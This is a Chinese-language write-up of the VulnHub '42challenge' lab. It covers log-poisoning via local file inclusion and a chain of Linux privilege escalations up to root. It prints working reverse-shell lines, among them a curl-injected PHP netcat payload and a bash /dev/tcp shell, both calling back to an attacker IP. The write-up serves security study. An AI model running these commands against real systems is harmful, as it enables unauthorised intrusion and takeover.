此文 由作者:windcctv提供。
近期在學習linux提權,完成了vulnhub上的42challenge靶場。該靶場在web滲透階段表現的中規中矩,但在獲得shell后的提權過程中,表現很出色。提權題目設計的邏輯嚴謹(不會出現突然的腦洞讓你卡住),注重基礎知識的考察,要求的知識面也很廣,涉及到密碼破解、程序逆向分析、第三方應用提權、進程提權、ssh免密登錄、Linux ACL訪問控制權限等方面的知識,屬于不可多得的精品之作,下面就開始這次靶場實戰之旅。
一、主機端口探測
利用命令arp-scan -l來發現靶機,然后看看靶機開放了哪些端口;
在利用nmap的腳本探測下端口可能存在的漏洞;
發現就開放了2個端口,22端口顯然不是這里突破的重點,重點應該時web端口。
二、web滲透獲取shell
訪問下web看看;
看到這個第一直覺時命令執行漏洞,嘗試輸入:
127.0.0.1&whoami、127.0.0.1|whoami、127.0.0.1&&whoami、127.0.0.1||whoami都沒有正確返回。后來有新的發現:
看到這個,聯想到文件包含;
原來是本地包含,下面就利用日志來getshell。嘗試了包含/var/log/auth.log,沒有成功,那就不能利用ssh登錄日志來獲取shell,我們通過nmap掃描知道web的中間件是Nginx,那我們就可以利用nginx日志來getshell。
1、nginx訪問日志getshell
訪問日志可以讀取到;
寫入shell:
curl -A "<?=system('nc -nv 192.168.0.3 8888 -e /bin/bash');?>" http://192.168.0.40/index.php
通過文件包含觸發反彈;
接收反彈;
2、nginx錯誤日志getshell
錯誤日志也可讀取到;
寫入shell;
通過文件包含觸發反彈;
接收反彈;
這里也可以將nc的反彈命令改為其他的反彈方式,比如一句話、php反彈或bash反彈都可以,就不逐個演示了,大家根據實際情況選擇。
彈回了shell,下一步就該提權了,也到了本靶場的精華之處,開始提權的漫長之旅。
三、輔助腳本利用
有了www-data用戶的shell,先嘗試下有沒有suid提權的可能;
沒有線索,看下用戶文件;
后來實踐證明是要依次由這5個用戶逐個提權,最后才能提權到root用戶。
先上內核輔助腳本 linux-exploit-suggester.sh
要是內核可以提權,這靶場就沒啥意思了;
在看看輔助腳本linpeas.sh的結果;(結果很多,就給出研判后可用的結果)
找了半天,去看看備份的密碼文件。
四、shadow文件爆破
可以看到用戶的密碼文件;
然后用john來破解;
爆破作為最基礎的一種方式,還是需要掌握對shadow文件的爆破方法。現在可以開心的ssh
連接了,進入下一個提權。
五、程序逆向分析---suid提權
ssh連接后,sudo -l 沒有發現,但suid發現線索;
運行下試試;
祭出神器IDA來看看;
看的還是累,上gdb;
進入關鍵函數try,繼續看;
在內存里發現了正確的密碼;
提權成功,進行下一個階段。
六、nano提權---sudo -l提權
這里考的是nano的sudo提權;
首先 sudo -u maria /bin/nano 進入界面;
然后在鍵盤上按住ctrl+r,
接著再按住ctrl+x;
現在就可以輸入命令了;
完成了提權;
因為看著不方便,所以可以用bash重新反彈個通道;
echo "bash -i >& /dev/tcp/192.168.0.3/6666 0>&1" | bash
還可以用高端一點的方法,ssh免密登錄。
ssh免密登錄
kali下生成自己的公鑰,口令為空;
靶機上創建 .ssh文件夾;
靶機上把kali的公鑰放到認證文件里;
ssh免密登錄;
接下來進行下一步提權。
七、進程提權
1、修改源文件提權
sudo因為沒有密碼,所以無法查看,suid沒發現明顯的線索,之前sudo -l和suid兩種提權方式都試過了,這里應該考察其他方式了;
也沒有考到計劃任務提權;
運行下腳本pspy64試試;
發現線索,uid=1003 就是pedro用戶;
既然Reporting_System_Info.sh定期運行,于是想到如果能修改該程序的內容,那就可以獲得shell。
圖中后面的+號表示 Linux ACL訪問控制權限,類似于 windows 系統中分配權限的方式,單獨指定用戶并單獨分配權限,這樣就解決了用戶身份不足的問題。
可以看到我們不能直接修改Reporting_System_Info.sh,但是根據源碼,程序要運行Send_Reporting_Email.sh,我們可以偽造
/home/maria/Send_Reporting_Email.sh這個文件,也同樣會執行;
到這里這一步提權完成,繼續進行下一步;
2、修改Python庫文件提權
根據前面進程的監控發現;
uid=1004就是laura用戶,根據前面的思路,我們同樣想修改程序,先來看看程序的權限;
因為源文件不可以修改,思路是去修改源文件里調用的python庫文件;
找到庫文件的位置,同時發現庫文件是可以修改的;
寫入shell,等待執行;
反彈成功;
到這里除了root外所有的用戶都提權過一遍,加油!
八、修改程序提權---sudo -l 提權
看到sudo -l 直接提權到root,最后一關簡單點,不多解釋了。當然,如果你感覺最后一關太簡單了,不符合終極boss的氣質,也可以玩個加強版。
九、加強版
在目錄下發現可疑文件;
把程序拷貝出來,祭出神器IDA分析;
加密程序;
對應的解密程序;
由此可以看出,加密其實就是把明文加5,解密就是把密文減5,這里可以直接寫個程序來跑,此處我們直接用動態調試來解決。
先運行下看看;
在打開文件處下斷點,準備修改打開文件的參數;因為不修改參數的結果已經看到了,并不是我們想要的結果;
獲取了root用戶的密碼,驗證一下試試;
由最開始的ssh登錄后直接就能切換到root用戶了;
至此,整個靶機就打穿了,回顧一下,感覺還是很有樂趣的,思路很常規,沒有腦洞點,但基礎知識的考察范圍很廣,并具有一定的規律性,值得多做總結。